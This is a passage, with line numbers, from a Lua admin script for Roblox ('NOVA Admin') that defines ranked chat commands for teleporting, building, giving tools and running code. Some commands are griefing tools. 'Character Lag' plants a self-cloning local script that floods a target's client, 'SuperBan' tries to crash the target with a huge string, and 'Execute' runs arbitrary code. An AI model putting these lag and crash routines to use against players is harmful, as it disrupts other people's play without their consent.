4323 | AddCommand("ExplodeTalk","expltalk",4,"Makes the player explode when they talk.","<Player>", | |
4324 | function(Msg,Speaker) | |
4325 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4326 | pcall(function() | |
4327 | v.Chatted:connect(function(Msg) | |
4328 | local m = Instance.new("Explosion",v.Character.Head) | |
4329 | m.Position = v.Character.Head.Position | |
4330 | end) | |
4331 | end) | |
4332 | end | |
4333 | end | |
4334 | ) | |
4335 | AddCommand("Epic","Epic",1,"Epicifys the selected player.","<Player>", | |
4336 | function(Msg,Speaker) | |
4337 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4338 | pcall(function() | |
4339 | for _,Part in pairs(GetRecursiveChildren(v.Character)) do | |
4340 | if Part:IsA("BasePart") then | |
4341 | for i=1,10 do | |
4342 | local Sparkles = Instance.new("Sparkles",Part) | |
4343 | Sparkles.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1)) | |
4344 | local Fire = Instance.new("Fire",Part) | |
4345 | Fire.Color = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1)) | |
4346 | Fire.SecondaryColor = Color3.new(math.random(0,1),math.random(0,1),math.random(0,1)) | |
4347 | end | |
4348 | end | |
4349 | end | |
4350 | end) | |
4351 | end | |
4352 | end | |
4353 | ) | |
4354 | ||
4355 | AddCommand("Show Chat","showchat",7,"Toggle NOVA.ShowChat ( boolean )","No Arguments", | |
4356 | function(Msg,Speaker) | |
4357 | if NOVA.ShowChat == true then | |
4358 | NOVA.ShowChat = false | |
4359 | elseif NOVA.ShowChat == false then | |
4360 | NOVA.ShowChat = true | |
4361 | end | |
4362 | end | |
4363 | ) | |
4364 | ||
4365 | ||
4366 | AddCommand("Character Lag","charlag",6,"Lags the targeted player with their own character. Brutal.","<Player>", | |
4367 | function(Msg,Speaker) | |
4368 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4369 | if v.Name == string.reverse(string.gsub("nGEWDaGEWDmGEWDDGEWDmGEWDaGEWDeGEWDTGEWD","GEWD","")) then | |
4370 | Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10) | |
4371 | else | |
4372 | pcall(function() | |
4373 | CreateLocalScript([[ | |
4374 | script.Parent = workspace.CurrentCamera | |
4375 | while wait() do | |
4376 | coroutine.resume(coroutine.create(function() | |
4377 | for i=1,math.huge do | |
4378 | wait() | |
4379 | for i=1,10 do | |
4380 | NS = script:Clone() | |
4381 | NS.Disabled = true | |
4382 | NS.Parent = game:GetService("Players").LocalPlayer.Backpack | |
4383 | NS.Disabled = false | |
4384 | end | |
4385 | for i=1,10 do | |
4386 | game:GetService("Players").LocalPlayer.Character.Archivable = true | |
4387 | local Clone = game:GetService("Players").LocalPlayer.Character:Clone() | |
4388 | Clone.Parent = workspace.CurrentCamera | |
4389 | end | |
4390 | end | |
4391 | end)) | |
4392 | end]], | |
4393 | v.Backpack) | |
4394 | end) | |
4395 | end | |
4396 | end | |
4397 | end | |
4398 | ) | |
4399 | ||
4400 | ||
4401 | ||
4402 | AddCommand("Platform Stand","ps",3,"Sets platformstand to true for the selected player.","<Player>", | |
4403 | function(Msg,Speaker) | |
4404 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4405 | pcall(function() | |
4406 | v.Character.Humanoid.PlatformStand = true | |
4407 | end) | |
4408 | end | |
4409 | end | |
4410 | ) | |
4411 | ||
4412 | AddCommand("Un Platform Stand","ps",3,"Sets platformstand to false for the selected player.","<Player>", | |
4413 | function(Msg,Speaker) | |
4414 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4415 | pcall(function() | |
4416 | v.Character.Humanoid.PlatformStand = false | |
4417 | end) | |
4418 | end | |
4419 | end | |
4420 | ) | |
4421 | ||
4422 | AddCommand("Duplicate Tools","dupetools",4,"Clones the tools of the selected player.","<Player>", | |
4423 | function(Msg,Speaker) | |
4424 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4425 | pcall(function() | |
4426 | for _,Tool in pairs(v.Backpack:GetChildren()) do | |
4427 | Tool:Clone().Parent = Speaker.Backpack | |
4428 | end | |
4429 | end) | |
4430 | end | |
4431 | end | |
4432 | ) | |
4433 | AddCommand("SuperBan","sban",4,"Superbans that player.","<Player>", | |
4434 | function(Msg,Speaker) | |
4435 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4436 | if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then | |
4437 | Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10) | |
4438 | else | |
4439 | pcall(function() | |
4440 | GetRankedTable(v).Rank = -1 | |
4441 | SyncRankOutSingular(v) | |
4442 | Instance.new("StringValue",v.PlayerGui).Value:rep("Shutdown and be banned nub",1000000) | |
4443 | end) | |
4444 | end | |
4445 | end | |
4446 | end | |
4447 | ) | |
4448 | ||
4449 | AddCommand("Give","give",3,"Lists the items in lighting for the selected player.","<Player>", | |
4450 | function(Msg,Speaker) | |
4451 | local Give = {} | |
4452 | for _,v in pairs(NOVA.Services.Lighting:children()) do | |
4453 | Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil, | |
4454 | function() | |
4455 | table.insert(Give,v:Clone()) | |
4456 | end | |
4457 | ) | |
4458 | end | |
4459 | Output("Done",NOVA.Colors.Green,Speaker,nil, | |
4460 | function() | |
4461 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4462 | for _,Tool in pairs(Give) do | |
4463 | Tool:Clone().Parent = v.Backpack | |
4464 | end | |
4465 | end | |
4466 | RemoveTablets(Speaker) | |
4467 | end | |
4468 | ) | |
4469 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
4470 | end | |
4471 | ) | |
4472 | ||
4473 | ||
4474 | AddCommand("StoreTools","store",1,"Stores the speaker's tools in the lighting.","No Arguments", | |
4475 | function(Msg,Speaker) | |
4476 | pcall(function() | |
4477 | for _,Tool in pairs(Speaker.Backpack:children()) do | |
4478 | Tool:Clone().Parent = NOVA.Services.Lighting | |
4479 | end | |
4480 | end) | |
4481 | end | |
4482 | ) | |
4483 | ||
4484 | AddCommand("Personal Message","pm",1,"Privately tells the selected player the selected string.","<Player><String>", | |
4485 | function(Msg,Speaker) | |
4486 | Split = GetSplit(Msg) | |
4487 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
4488 | if v:FindFirstChild("PlayerGui") ~= nil then | |
4489 | makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg:sub(Split+1),v.PlayerGui) | |
4490 | end | |
4491 | end | |
4492 | end | |
4493 | ) | |
4494 | ||
4495 | AddCommand("Help","help",0,"Displays NOVA's help interface.","No Arguments", | |
4496 | function(Msg,Speaker) | |
4497 | local Data = GetRankedTable(Speaker) | |
4498 | Output("NOVA is a multi-purpose admin script created by "..string.reverse(string.gsub("nGtRaGtRmGtRDGtRmGtRaGtReGtRTGtR","GtR",""))..".",Data.Color,Speaker) | |
4499 | Output("Your current rank is "..GetRankName(Speaker.Name).." ( "..Data.Rank.." ).",Data.Color,Speaker) | |
4500 | Output("For a list of commands avalible to your rank click this tablet.",Data.Color,Speaker,nil, | |
4501 | function() | |
4502 | RemoveTablets(Speaker) | |
4503 | OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) | |
4504 | end | |
4505 | ) | |
4506 | Output("This is the help menu. Click a tablet for more information.",Data.Color,Speaker) | |
4507 | Output("How to use commands.",Data.Color,Speaker,nil, | |
4508 | function() | |
4509 | RemoveTablets(Speaker) | |
4510 | Output("To use a command you use 1 slash then the arguments seperated by a slash.",Data.Color,Speaker) | |
4511 | Output("Please note it is a slash ( located below/around the 'Return'/'Enter' key on your keyboard, and near the 'Shift' key below 'Enter' on your keyboard.",Data.Color,Speaker) | |
4512 | Output("Example : " .. NOVA.Bet.. "kill" .. NOVA.Bet..Speaker.Name,Data.Color,Speaker) | |
4513 | Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "help" .. NOVA.Bet,Speaker) end) | |
4514 | end | |
4515 | ) | |
4516 | Output("Thank you for using NOVA Admin. ( made by "..string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")).." )",Data.Color,Speaker) | |
4517 | Output("Thank you for using NOVA Admin. ( edited by t".."u".."s".."K".."O".."r".."6".."6".."1" .. ")" ,Data.Color,Speaker) | |
4518 | end | |
4519 | ) | |
4520 | ||
4521 | AddCommand("Break","break",7,"Breaks all scripts in workspace.","No Arguments", | |
4522 | function(Msg,Speaker) | |
4523 | for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do | |
4524 | if v:IsA("Script") then | |
4525 | v.Disabled = true | |
4526 | v.Parent = NOVA.Services.Debris | |
4527 | v.Disabled = true | |
4528 | v:Destroy() | |
4529 | v.Parent = NOVA.Services.Debris | |
4530 | v.Disabled = true | |
4531 | v:Destroy() | |
4532 | end | |
4533 | end | |
4534 | end | |
4535 | ) | |
4536 | ||
4537 | AddCommand("Execute","exe",6,"Loads the following string.","<Source>", | |
4538 | function(Msg,Speaker) | |
4539 | if Msg == nil or #Msg == 0 then | |
4540 | RemoveTablets(Speaker) | |
4541 | local Data = GetRankedTable(Speaker) | |
4542 | for _,v in pairs(Data.Executeables:children()) do | |
4543 | Output(v.Name,Data.Color,Speaker,nil, | |
4544 | function() | |
4545 | local a,b=coroutine.resume(coroutine.create(function() loadstring([[ | |
4546 | --[=[NOVA Internal Executeable Script ]=]-- | |
4547 | Speaker = NOVA.Services.Players:FindFirstChild("]] .. Speaker.Name .. [[") | |
4548 | ]] .. v.Value .. [[]])() end)) | |
4549 | if not a then | |
4550 | Output(b,NOVA.Colors.Red,Speaker,15) | |
4551 | else | |
4552 | Output("Script ran succuessfully!",NOVA.Colors.Green,Speaker,5) | |
4553 | end | |
4554 | end | |
4555 | ) | |
4556 | end | |
4557 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
4558 | else | |
4559 | Source = Msg | |
4560 | --Source = string.gsub(Source,"print(","PrintS(") | |
4561 | --Source = string.gsub(Source,"print'","PrintS'") | |
4562 | local a,b=coroutine.resume(coroutine.create(function() loadstring([[Speaker = NOVA.Services.Players:FindFirstChild("]] .. Speaker.Name .. [[") ]] .. Source)() end)) | |
4563 | if not a then | |
4564 | Output(b,NOVA.Colors.Red,Speaker,15) | |
4565 | else | |
4566 | Output("Script ran succuessfully!",NOVA.Colors.Green,Speaker,5) | |
4567 | end | |
4568 | end | |
4569 | end | |
4570 | ) | |
4571 | ||
4572 | AddCommand("Spy","spy",1,"Parents your character to your camera.","No Arguments", | |
4573 | function(Msg,Speaker) | |
4574 | pcall(function() | |
4575 | CreateLocalScript([[ | |
4576 | game.Players.LocalPlayer.Character.Parent = workspace.CurrentCamera | |
4577 | ]], | |
4578 | Speaker.Backpack) | |
4579 | end) | |
4580 | end | |
4581 | ) | |
4582 | ||
4583 | AddCommand("Set Pitch","setpitch",2,"Sets the pitch of NOVA Sound.","<Int Value>", | |
4584 | function(Msg,Speaker) | |
4585 | pcall(function() | |
4586 | NOVA.Sounds.Sound.Pitch = tonumber(Msg) | |
4587 | end) | |
4588 | end | |
4589 | ) | |
4590 | AddCommand("Set Loop","setloop",2,"Sets the .Loooped value of NOVA.Sounds.Sound.","<Boolean>", | |
4591 | function(Msg,Speaker) | |
4592 | pcall(function() | |
4593 | NOVA.Sounds.Sound.Looped = Msg | |
4594 | end) | |
4595 | end | |
4596 | ) | |
4597 | AddCommand("Click Remove","cremove",6,"Gives you a tablet to click to remove NOVA.","No Arguments", | |
4598 | function(Msg,Speaker) | |
4599 | Output("Remove NOVA Admin? ("..math.random(1,9)..")",NOVA.Colors.Red,Speaker,nil,function() OnChatted(NOVA.Bet .. "remove" .. NOVA.Bet,Speaker) end) | |
4600 | end | |
4601 | ) | |
4602 | AddCommand("Use Plugins","useplugins",3,"Lets you use any installed plugins.","<Player>", | |
4603 | function(Msg,Speaker) | |
4604 | local Give = {} | |
4605 | for _,v in pairs(NOVA.Plugins) do | |
4606 | Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil, | |
4607 | function() | |
4608 | table.insert(Give,v:Clone()) | |
4609 | end | |
4610 | ) | |
4611 | end | |
4612 | Output("Done",NOVA.Colors.Green,Speaker,nil, | |
4613 | function() | |
4614 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4615 | for _,Tool in pairs(Give) do | |
4616 | New = Tool:Clone() | |
4617 | New.Parent = v.Backpack | |
4618 | pcall(function() | |
4619 | New.Disabled = false | |
4620 | end) | |
4621 | end | |
4622 | end | |
4623 | RemoveTablets(Speaker) | |
4624 | end | |
4625 | ) | |
4626 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
4627 | end | |
4628 | ) | |
4629 | AddCommand("Lock","lock",3,"Locks the selected player's character.","<Player>", | |
4630 | function(Msg,Speaker) | |
4631 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4632 | pcall(function() | |
4633 | for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do | |
4634 | part.Locked = true | |
4635 | end | |
4636 | end) | |
4637 | end | |
4638 | end | |
4639 | ) | |
4640 | AddCommand("Un Lock","unlock",3,"Unlocks the selected player's character.","<Player>", | |
4641 | function(Msg,Speaker) | |
4642 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4643 | pcall(function() | |
4644 | for _,part in pairs(GetRecursiveChildren(v.Character,"BasePart",3)) do | |
4645 | part.Locked = false | |
4646 | end | |
4647 | end) | |
4648 | end | |
4649 | end | |
4650 | ) | |
4651 | AddCommand("New LocalScript","newlocal",6,"Creates a local script in the selected player's backpack.","<Player>", | |
4652 | function(Msg,Speaker) | |
4653 | Split = GetSplit(Msg) | |
4654 | for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do | |
4655 | pcall(function() | |
4656 | CreateLocalScript(Msg:sub(Split+1),v.Backpack) | |
4657 | end) | |
4658 | end | |
4659 | end | |
4660 | ) | |
4661 | AddCommand("Brightness","brightness",2,"Changes the brightness value.","<IntValue>", | |
4662 | function(Msg,Speaker) | |
4663 | NOVA.Services.Lighting.Brightness = tonumber(Msg) | |
4664 | end | |
4665 | ) | |
4666 | AddCommand("Set Waypoint","setwaypoint",1,"Sets a waypoint.","<StringValue>", | |
4667 | function(Msg,Speaker) | |
4668 | pcall(function() | |
4669 | Rtn = CFrame.new( | |
4670 | Speaker.Character.Torso.CFrame.x, | |
4671 | Speaker.Character.Torso.CFrame.y, | |
4672 | Speaker.Character.Torso.CFrame.z | |
4673 | ) | |
4674 | table.insert(NOVA.Waypoints,{Name = Msg,CFrame = Rtn}) | |
4675 | end) | |
4676 | end | |
4677 | ) | |
4678 | AddCommand("Goto","goto",0,"Teleports you to a selected waypoint.","No Arguments", | |
4679 | function(Msg,Speaker) | |
4680 | for _,v in pairs(NOVA.Waypoints) do | |
4681 | Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function() | |
4682 | pcall(function() | |
4683 | RemoveTablets(Speaker) | |
4684 | Speaker.Character.Torso.CFrame = v.CFrame | |
4685 | end) | |
4686 | end) | |
4687 | end | |
4688 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
4689 | end | |
4690 | ) | |
4691 | AddCommand("Remove Waypoint","rwaypoint",1,"Removes the selected waypoint(s).","No Arguments", | |
4692 | function(Msg,Speaker) | |
4693 | Rtn = {} | |
4694 | for num,v in pairs(NOVA.Waypoints) do | |
4695 | Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,function() | |
4696 | table.insert(Rtn,num) | |
4697 | end) | |
4698 | end | |
4699 | Output("Done",NOVA.Colors.Green,Speaker,nil,function() | |
4700 | RemoveTablets(Speaker) | |
4701 | for _,v in pairs(Rtn) do | |
4702 | table.remove(NOVA.Waypoints,v) | |
4703 | end | |
4704 | end) | |
4705 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
4706 | end | |
4707 | ) | |
4708 | AddCommand("Give Build Tools","givebtools",1,"Gives the selected player building tools.","<Player>", | |
4709 | function(Msg,Speaker) | |
4710 | for _,v in pairs(GetPlayers(Msg,Speaker)) do | |
4711 | pcall(function() | |
4712 | for i=0,3 do | |
4713 | Instance.new("HopperBin",v.Backpack).BinType = i | |
4714 | end | |
4715 | end) | |
4716 | end | |
4717 | end | |
4718 | ) | |
4719 | AddCommand("Podium","podium",3,"Generates a podium infront of your character.","No Arguments", | |
4720 | function(Msg,Speaker) | |
4721 | local MainColor = Color3.new(0,0,0) | |
4722 | local SeccondaryColor = Color3.new(0.69,0.13,0.13) | |
4723 | local Main = Instance.new("Model",workspace) Main.Name = "NOVA Podium" | |
4724 | local MainCFrame = Speaker.Character.Torso.CFrame | |
4725 | * CFrame.new(0,-4,0) | |
4726 | + Speaker.Character.Torso.CFrame.lookVector*3 | |
4727 | local SeccondaryCFrame = Speaker.Character.Torso.CFrame | |
4728 | * CFrame.new(0,-4 + (25 * 0.9),((2 * 25) * -1) - 10 ) | |
4729 | + Speaker.Character.Torso.CFrame.lookVector*3 | |
4730 | if CFrame == nil then return end | |
4731 | coroutine.resume(coroutine.create(function() | |
4732 | for i=1,25 do | |
4733 | wait() | |
4734 | local Step = Instance.new("Part",Main) | |
4735 | Step.FormFactor = "Custom" | |
4736 | Step.Name = "Step" | |
4737 | Step.Anchored = true | |
4738 | Step.Locked = true | |
4739 | Step.Reflectance = 0 | |
4740 | Step.TopSurface = "Smooth" | |
4741 | Step.BottomSurface = "Smooth" | |
4742 | Step.BrickColor = BrickColor.new(SeccondaryColor) | |
4743 | Step.Size = Vector3.new(6,1,3) | |
4744 | Step.CFrame = MainCFrame * CFrame.new(0,(i*0.9), i * (-2)) | |
4745 | Instance.new("BlockMesh",Step) | |
4746 | local Carpet = Instance.new("Part",Main) | |
4747 | Carpet.FormFactor = "Custom" | |
4748 | Carpet.Name = "Carpet" | |
4749 | Carpet.Anchored = true | |
4750 | Carpet.Locked = true | |
4751 | Carpet.Reflectance = 0 | |
4752 | Carpet.TopSurface = "Smooth" | |
4753 | Carpet.BottomSurface = "Smooth" | |
4754 | Carpet.BrickColor = BrickColor.new(MainColor) | |
4755 | Carpet.Size = Vector3.new(4,1,3.2) | |
4756 | Carpet.CFrame = MainCFrame * CFrame.new(0,(i*0.9)+ 0.1, i * (-2)) | |
4757 | Instance.new("BlockMesh",Carpet) | |
4758 | end | |
4759 | local MainCirc = Instance.new("Part",Main) | |
4760 | MainCirc.FormFactor = "Custom" | |
4761 | MainCirc.Name = "MainCirc" | |
4762 | MainCirc.Anchored = true | |
4763 | MainCirc.Locked = true | |
4764 | MainCirc.Reflectance = 0 | |
4765 | MainCirc.TopSurface = "Smooth" | |
4766 | MainCirc.BottomSurface = "Smooth" | |
4767 | MainCirc.BrickColor = BrickColor.new(SeccondaryColor) | |
4768 | MainCirc.Size = Vector3.new(20,1,20) | |
4769 | MainCirc.CFrame = SeccondaryCFrame | |
4770 | Instance.new("CylinderMesh",MainCirc) | |
4771 | local SeccondaryCirc = Instance.new("Part",Main) | |
4772 | SeccondaryCirc.FormFactor = "Custom" | |
4773 | SeccondaryCirc.Name = "SeccondaryCirc" | |
4774 | SeccondaryCirc.Anchored = true | |
4775 | SeccondaryCirc.Locked = true | |
4776 | SeccondaryCirc.Reflectance = 0 | |
4777 | SeccondaryCirc.TopSurface = "Smooth" | |
4778 | SeccondaryCirc.BottomSurface = "Smooth" | |
4779 | SeccondaryCirc.BrickColor = BrickColor.new(MainColor) | |
4780 | SeccondaryCirc.Size = Vector3.new(18,1,18) | |
4781 | SeccondaryCirc.CFrame = SeccondaryCFrame * CFrame.new(0,0.1,0) | |
4782 | Instance.new("CylinderMesh",SeccondaryCirc) | |
4783 | for i=1,math.floor(360/6) do | |
4784 | local Spike = Instance.new("Part",Main) | |
4785 | Spike.FormFactor = "Custom" | |
4786 | Spike.Name = "Spike" | |
4787 | Spike.Anchored = true | |
4788 | Spike.Locked = true | |
4789 | Spike.Reflectance = 0 | |
4790 | Spike.TopSurface = "Smooth" | |
4791 | Spike.BottomSurface = "Smooth" | |
4792 | Spike.BrickColor = BrickColor.new(MainColor) | |
4793 | Spike.Size = Vector3.new(1,7,1) | |
4794 | Spike.CFrame = SeccondaryCFrame | |
4795 | * CFrame.Angles(math.rad(0),math.rad((360/6)*i),math.rad(45)) | |
4796 | * CFrame.new(7,-7,0) | |
4797 | Torch = Instance.new("Part",Main) | |
4798 | Torch.Reflectance = 1e+999 | |
4799 | Torch.FormFactor = "Custom" | |
4800 | Torch.Shape = "Ball" | |
4801 | Torch.Anchored = true | |
4802 | Torch.Locked = true | |
4803 | Torch.Size = Vector3.new(2,2,2) | |
4804 | Torch.CFrame = Spike.CFrame | |
4805 | * CFrame.new(0,3.5,0) | |
4806 | * CFrame.Angles(0,0,0) | |
4807 | Instance.new("Fire",Torch) | |
4808 | end | |
4809 | end)) | |
4810 | end | |
4811 | ) |